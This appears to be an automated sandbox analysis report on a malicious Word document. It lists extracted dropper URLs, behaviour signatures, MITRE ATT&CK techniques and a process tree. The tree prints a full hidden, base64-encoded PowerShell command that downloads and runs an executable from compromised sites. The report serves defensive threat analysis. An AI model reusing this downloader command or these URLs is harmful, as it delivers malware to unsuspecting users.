62c12303542b74aa5cc546713a55af73a6d4567ca2fa12f79875fcd1840fbe37

General

Target

62c12303542b74aa5cc546713a55af73a6d4567ca2fa12f79875fcd1840fbe37.doc
Sample

191211-7nss3be2pe
SHA256

62c12303542b74aa5cc546713a55af73a6d4567ca2fa12f79875fcd1840fbe37

Score

8^/10

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://qq546871516.com/publicfiles/lAZxpEZZk/

exe.dropper

http://ameerabd.com/wp-admin/cprKsFCBK/

exe.dropper

http://hraxisindia.com/aspnet_client/q0z96ighij-97lqm-04/

exe.dropper

http://masjid-alrahman.org/grnxszbre/yhoa1-t0dsvm58nh-3608899332/

exe.dropper

http://makalelisiteler.ayakkabilar.org/wp/mIxeAr/

Signatures

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
4576	Powershell.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4964	WINWORD.EXE

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4576	Powershell.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
4964	WINWORD.EXE

Executes dropped EXE 1 IoCs

pid	Process
4724	886.exe

Checks system information in the registry 2 TTPs 2 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4964	WINWORD.EXE
4724	886.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 60 wrote to memory of 4028	60	SppExtComObj.exe	76
PID 4576 wrote to memory of 4724	4576	Powershell.exe	80

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\62c12303542b74aa5cc546713a55af73a6d4567ca2fa12f79875fcd1840fbe37.doc" /o ""
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4964

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
- Suspicious use of WriteProcessMemory
PID:60
- C:\Windows\System32\SLUI.exe
  "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
  2⤵
  PID:4028

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABWAG4AdgB3AGIAcABwAGYAPQAnAE0AcABqAHgAYgB1AGwAdQBjACcAOwAkAFYAZQBmAGMAcABiAGgAcAB2AHkAeAB1ACAAPQAgACcAOAA4ADYAJwA7ACQASgB2AG0AcgBrAHkAbwBlAGkAawBsAD0AJwBXAGQAdgB5AHIAZgBxAGQAeABxAGEAcwBrACcAOwAkAE8AagBkAGYAZgBxAHMAdgBrAHoAcgB6AD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABWAGUAZgBjAHAAYgBoAHAAdgB5AHgAdQArACcALgBlAHgAZQAnADsAJABOAGQAcwBpAG0AZwBlAGEAPQAnAEUAcQBxAHcAYQBiAGUAcwB4AGUAJwA7ACQAQgBwAGMAcgBlAHgAbQBwAD0ALgAoACcAbgBlAHcALQBvAGIAagAnACsAJwBlACcAKwAnAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAEMATABJAGUATgB0ADsAJABZAHUAaABlAHAAZgBuAHMAZwBiAHMAbAA9ACcAaAB0AHQAcAA6AC8ALwBxAHEANQA0ADYAOAA3ADEANQAxADYALgBjAG8AbQAvAHAAdQBiAGwAaQBjAGYAaQBsAGUAcwAvAGwAQQBaAHgAcABFAFoAWgBrAC8AKgBoAHQAdABwADoALwAvAGEAbQBlAGUAcgBhAGIAZAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AYwBwAHIASwBzAEYAQwBCAEsALwAqAGgAdAB0AHAAOgAvAC8AaAByAGEAeABpAHMAaQBuAGQAaQBhAC4AYwBvAG0ALwBhAHMAcABuAGUAdABfAGMAbABpAGUAbgB0AC8AcQAwAHoAOQA2AGkAZwBoAGkAagAtADkANwBsAHEAbQAtADAANAAvACoAaAB0AHQAcAA6AC8ALwBtAGEAcwBqAGkAZAAtAGEAbAByAGEAaABtAGEAbgAuAG8AcgBnAC8AZwByAG4AeABzAHoAYgByAGUALwB5AGgAbwBhADEALQB0ADAAZABzAHYAbQA1ADgAbgBoAC0AMwA2ADAAOAA4ADkAOQAzADMAMgAvACoAaAB0AHQAcAA6AC8ALwBtAGEAawBhAGwAZQBsAGkAcwBpAHQAZQBsAGUAcgAuAGEAeQBhAGsAawBhAGIAaQBsAGEAcgAuAG8AcgBnAC8AdwBwAC8AbQBJAHgAZQBBAHIALwAnAC4AIgBTAHAAYABMAEkAdAAiACgAJwAqACcAKQA7ACQAVgBrAHIAeQBsAGwAZQBsAHoAYQBrAD0AJwBFAHMAYwBlAHQAcwBkAGwAcABuAHAAegAnADsAZgBvAHIAZQBhAGMAaAAoACQAVABqAHMAawB0AG8AeQBiACAAaQBuACAAJABZAHUAaABlAHAAZgBuAHMAZwBiAHMAbAApAHsAdAByAHkAewAkAEIAcABjAHIAZQB4AG0AcAAuACIAZABPAHcAbgBMAE8AYABBAEQAYABGAEkATABlACIAKAAkAFQAagBzAGsAdABvAHkAYgAsACAAJABPAGoAZABmAGYAcQBzAHYAawB6AHIAegApADsAJABPAHcAegBuAGoAaQB4AGgAaAByAG8AdgBzAD0AJwBKAGUAZgBjAGYAdgBpAGIAbwBlAGwAbgBlACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAJwArACcAZQBtACcAKQAgACQATwBqAGQAZgBmAHEAcwB2AGsAegByAHoAKQAuACIAbABFAGAATgBHAGAAVABIACIAIAAtAGcAZQAgADIANAA4ADkAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAGAAVABhAFIAdAAiACgAJABPAGoAZABmAGYAcQBzAHYAawB6AHIAegApADsAJABaAGUAbwBwAHAAYQBuAGEAPQAnAFcAbABsAHEAeABhAGkAbQBmAGoAagB3ACcAOwBiAHIAZQBhAGsAOwAkAEcAdQBsAGkAeAB2AHMAYgA9ACcATwBxAGQAZgBqAGoAcQBlAHcAawB5ACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkAZwBsAGYAcwBhAG4AcwBjAGQAbgA9ACcATwBlAGMAawBiAHYAYgB3AGIAaAB3AGQAJwA=
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4576
- C:\Users\Admin\886.exe
  "C:\Users\Admin\886.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:4724

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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